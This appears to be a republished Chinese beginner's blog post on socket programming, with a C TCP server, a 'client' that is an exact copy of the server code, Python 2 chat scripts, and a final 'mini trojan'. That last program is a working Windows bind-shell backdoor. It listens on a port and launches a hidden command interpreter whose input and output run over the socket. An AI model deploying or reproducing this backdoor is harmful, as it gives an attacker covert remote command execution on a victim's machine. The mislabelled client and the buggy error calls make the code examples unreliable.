我是靠谱客的博主 迷你飞鸟,最近开发中收集的这篇文章主要介绍迟迟开始学习的网络编程,C语言客户端服务端,python客户端服务端和mini木马,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

<废话>编程小白终于决定夯实基础,学了一下网络编程。注释有点烂,周末实在太累了,就没整理。。。困晕了。然后python本来是想实现xshell的小功能的,结果只能远程执行一条命令,应该是客户端缓冲区的问题,没调好,哎,是真的菜</废话>

<正文>

C语言服务端:

#pragma comment(lib,"ws2_32.lib")    //该指令用来将w32_32.lib这个动态链接库文件加入到本工程中
#include<stdio.h>
#include<stdlib.h>
#include<WinSock2.h>


void main()
{
	WSADATA wsaData;   //存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
	SOCKET listenSocket;  //服务端用来监听的套接字
	SOCKET sendSocket;
	SOCKADDR_IN severAdress; //服务端地址   sockaddr常用于bind、connect、recvfrom、sendto等函数的参数,指明地址信息。是一种通用的套接字地址。而sockaddr_in 是internet环境下套接字的地址形式。所以在网络编程中我们会对sockaddr_in结构体进行操作。使用sockaddr_in来建立所需的信息,最后使用类型转化就可以了。
	SOCKADDR_IN clientAdress;  //客户端地址
	int cilentAdressLen;
	int PORT = 10001;
	char dataBuffer[1024];    //缓存数据
	int strLen;


	/* struct sockaddr_in 
	   {
        short   sin_family;    协议
        u_short sin_port;      端口
        struct  in_addr sin_addr;  存储IP地址,使用in_addr这个数据结构 ,in_addr是一个结构体,可以用来表示一个32位的IPv4地址
        char    sin_zero[8];  让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节
        };*/
	
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)    //Windows Sockets Asynchronous的启动命令、Windows下的网络编程接口软件 Winsock1 或 Winsock2 里面的一个命令,前一个地址确定版本,后一个确定地址
	{
		printf("WSAtsrtup failed!n");
		return;
	}
	if((listenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)  //创建一个套接字,参数(地址类型,协议,协议编号)
		//AF_INET(又称 PF_INET)是 IPv4 网络协议的套接字类型,AF_INET6 则是 IPv6 的;而 AF_UNIX 则是 Unix 系统本地通信。
		//SOCK_STREAM,流类型,提供可靠连接,tcp
		//IPPROTO_TCP 和 IPPROTO_IP代表两种不同的协议,分别代表IP协议族里面的TCP协议和IP协议
	
	{                                                                           
		printf("socket faild!reason:%dn" ,WSAGetLastError());                                               
		WSACleanup();                      //终止Winsock 2 DLL (Ws2_32.dll) 的使用                                                        
		return;
	}


	severAdress.sin_family = AF_INET;
	severAdress.sin_port = htons(PORT);  //将主机的无符号短整形数转换成网络字节顺序  host to net short
	severAdress.sin_addr.S_un.S_addr = htonl(INADDR_ANY);       //将一个32位数从主机字节顺序转换成网络字节顺序,允许任何服务端链接 host to net long
	if (bind(listenSocket, (SOCKADDR*)&severAdress, sizeof(severAdress)) == SOCKET_ERROR)            //将一本地地址与一套接口捆绑
	{
		printf( "bind error! reason:%dn" ,WSAGetLastError());
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	if (listen(listenSocket, 5) == SOCKET_ERROR)              //允许五个链接在队列
	{
		printf("listen failed!reason:%dn", WSAGetLastError);
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	printf("i'm here to waiting for you:%dn",PORT);
	printf("正在监听...");
	cilentAdressLen = sizeof(clientAdress);
	if ((sendSocket = accept(listenSocket, (SOCKADDR*)&clientAdress, &cilentAdressLen)) ==INVALID_SOCKET) //在一个套接口接受一个连接,参数:套接字描述符;指针,指向一缓冲区;指针 指向存有addr地址长度的整型数)
	{
		printf("accept faild! %dn",WSAGetLastError);
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	printf("success");
	printf("客户端ip地址:%s:%dn", inet_ntoa(clientAdress.sin_addr), ntohs(clientAdress.sin_port));  //inet_ntoa:将网络地址转换成“.”点隔的字符串格式  net to address,ntohs:将一个16位数由网络字节顺序转换为主机字节顺序
    closesocket(listenSocket);
	printf("we are waiting receive...n");
	if((strLen=recv(sendSocket,dataBuffer,sizeof(dataBuffer),0))==SOCKET_ERROR)
	{
		printf("receive faild! reason:%dn", WSAGetLastError);
		closesocket(sendSocket);
		WSACleanup();
		return;
	}
	printf("we have received %d bytesn", strLen);
	dataBuffer[strLen] = '';
	printf("%sn", dataBuffer);
	printf("we will cut off the connection");
	closesocket(sendSocket);
	WSACleanup();
system("pause");
C语言客户端:

#pragma comment(lib,"ws2_32.lib")    //该指令用来将w32_32.lib这个动态链接库文件加入到本工程中
#include<stdio.h>
#include<stdlib.h>
#include<WinSock2.h>



void main()
{
	WSADATA wsaData;   //存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
	SOCKET listenSocket;  //服务端用来监听的套接字
	SOCKET sendSocket;
	SOCKADDR_IN severAdress; //服务端地址   sockaddr常用于bind、connect、recvfrom、sendto等函数的参数,指明地址信息。是一种通用的套接字地址。而sockaddr_in 是internet环境下套接字的地址形式。所以在网络编程中我们会对sockaddr_in结构体进行操作。使用sockaddr_in来建立所需的信息,最后使用类型转化就可以了。
	SOCKADDR_IN clientAdress;  //客户端地址
	int cilentAdressLen;
	int PORT = 10001;
	char dataBuffer[1024];    //缓存数据
	int strLen;

	/* struct sockaddr_in 
	   {
        short   sin_family;    协议
        u_short sin_port;      端口
        struct  in_addr sin_addr;  存储IP地址,使用in_addr这个数据结构 ,in_addr是一个结构体,可以用来表示一个32位的IPv4地址
        char    sin_zero[8];  让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节
        };*/
	
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)    //Windows Sockets Asynchronous的启动命令、Windows下的网络编程接口软件 Winsock1 或 Winsock2 里面的一个命令,前一个地址确定版本,后一个确定地址
	{
		printf("WSAtsrtup failed!n");
		return;
	}
	if((listenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)  //创建一个套接字,参数(地址类型,协议,协议编号)
		//AF_INET(又称 PF_INET)是 IPv4 网络协议的套接字类型,AF_INET6 则是 IPv6 的;而 AF_UNIX 则是 Unix 系统本地通信。
		//SOCK_STREAM,流类型,提供可靠连接,tcp
		//IPPROTO_TCP 和 IPPROTO_IP代表两种不同的协议,分别代表IP协议族里面的TCP协议和IP协议
	
	{                                                                           
		printf("socket faild!reason:%dn" ,WSAGetLastError());                                               
		WSACleanup();                      //终止Winsock 2 DLL (Ws2_32.dll) 的使用                                                        
		return;
	}

	severAdress.sin_family = AF_INET;
	severAdress.sin_port = htons(PORT);  //将主机的无符号短整形数转换成网络字节顺序  host to net short
	severAdress.sin_addr.S_un.S_addr = htonl(INADDR_ANY);       //将一个32位数从主机字节顺序转换成网络字节顺序,允许任何服务端链接 host to net long
	if (bind(listenSocket, (SOCKADDR*)&severAdress, sizeof(severAdress)) == SOCKET_ERROR)            //将一本地地址与一套接口捆绑
	{
		printf( "bind error! reason:%dn" ,WSAGetLastError());
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	if (listen(listenSocket, 5) == SOCKET_ERROR)              //允许五个链接在队列
	{
		printf("listen failed!reason:%dn", WSAGetLastError);
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	printf("i'm here to waiting for you:%dn",PORT);
	printf("正在监听...");
	cilentAdressLen = sizeof(clientAdress);
	if ((sendSocket = accept(listenSocket, (SOCKADDR*)&clientAdress, &cilentAdressLen)) ==INVALID_SOCKET) //在一个套接口接受一个连接,参数:套接字描述符;指针,指向一缓冲区;指针 指向存有addr地址长度的整型数)
	{
		printf("accept faild! %dn",WSAGetLastError);
		closesocket(listenSocket);
		WSACleanup();
		return;
	}
	printf("success");
	printf("客户端ip地址:%s:%dn", inet_ntoa(clientAdress.sin_addr), ntohs(clientAdress.sin_port));  //inet_ntoa:将网络地址转换成“.”点隔的字符串格式  net to address,ntohs:将一个16位数由网络字节顺序转换为主机字节顺序
    closesocket(listenSocket);
	printf("we are waiting receive...n");
	if((strLen=recv(sendSocket,dataBuffer,sizeof(dataBuffer),0))==SOCKET_ERROR)
	{
		printf("receive faild! reason:%dn", WSAGetLastError);
		closesocket(sendSocket);
		WSACleanup();
		return;
	}
	printf("we have received %d bytesn", strLen);
	dataBuffer[strLen] = '';
	printf("%sn", dataBuffer);
	printf("we will cut off the connection");
	closesocket(sendSocket);
	WSACleanup();
system("pause");
python的服务端

 
#coding=utf-8  
from socket import *
from time import ctime

HOST=''
PORT=10004
BUFSIZE=2048
ADDR=(HOST,PORT)

tcpSerSock=socket(AF_INET,SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)


while True:
    print 'waiting for connection...'
    tcpCliSock,addr = tcpSerSock.accept()
    print'...connected from',addr

    while True:
        data=tcpCliSock.recv(BUFSIZE)
        print '接收:'+data
        if not data:
            break
        while True:
            sendinfo=raw_input('发送:')
            tcpCliSock.send( '[%s]'% sendinfo)


tcpCliSock.close()
tcpSerSock.close()

python客户端

 #coding=utf-8
from socket import *

HOST=raw_input("ip:")
PORT=input("port:")
BUFSIZE=2048
ADDR=(HOST,PORT)

tcpCliSocket=socket(AF_INET,SOCK_STREAM)
tcpCliSocket.connect(ADDR)

while True:
    data=raw_input('发送:')
    if not data:
        break
    tcpCliSocket.send(data)
    receinfo=tcpCliSocket.recv(BUFSIZE)
    if not data:
        break
    print '接收:'+receinfo
tcpCliSocket.close()

#pragma comment(lib,"ws2_32.lib") 
#include<stdio.h>
#include<stdlib.h>
#include<WinSock2.h>
#include<Windows.h>
#define backDoor 10006

int main()
{
	WSADATA wsaData;
	SOCKADDR_IN SockAddrIn;
	SOCKET severSocket, clientSocket;
	int addrSize;

	PROCESS_INFORMATION   processInfo;
	STARTUPINFO startInfo;
	char szCMDPath[255];
	ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&startInfo, sizeof(STARTUPINFO));
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));//comspec:命令解释器全路径名
	



	WSAStartup(MAKEWORD(2, 2), &wsaData);
	SockAddrIn.sin_family = AF_INET;
	SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY;
	SockAddrIn.sin_port = htons(backDoor);
	clientSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	bind(clientSocket, (SOCKADDR*)&SockAddrIn, sizeof(SockAddrIn));
	listen(clientSocket, 1);
	addrSize = sizeof(SockAddrIn);
	severSocket = accept(clientSocket, (SOCKADDR*)&SockAddrIn, &addrSize);

	startInfo.cb = sizeof(STARTUPINFO);
	startInfo.wShowWindow = SW_HIDE;              //启动隐藏窗口
	startInfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;  //启动标志
	startInfo.hStdInput = (HANDLE)severSocket;
	startInfo.hStdOutput = (HANDLE)severSocket;
	startInfo.hStdError =(HANDLE)severSocket;
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &startInfo, &processInfo);
	WaitForSingleObject(processInfo.hProcess, INFINITE);
	CloseHandle(processInfo.hProcess);
	CloseHandle(processInfo.hThread);

	closesocket(severSocket);
	closesocket(clientSocket);
	WSACleanup();
	system("pause");
	return 0;
}
</正文>

<后记>发现自己博客的质量好烂啊,慢慢改进,希望大佬们能教我一点,然后有什么应该改进的地方,请多指教</后记>



最后

以上就是迷你飞鸟为你收集整理的迟迟开始学习的网络编程,C语言客户端服务端,python客户端服务端和mini木马的全部内容,希望文章能够帮你解决迟迟开始学习的网络编程,C语言客户端服务端,python客户端服务端和mini木马所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(63)

评论列表共有 0 条评论

立即
投稿
返回
顶部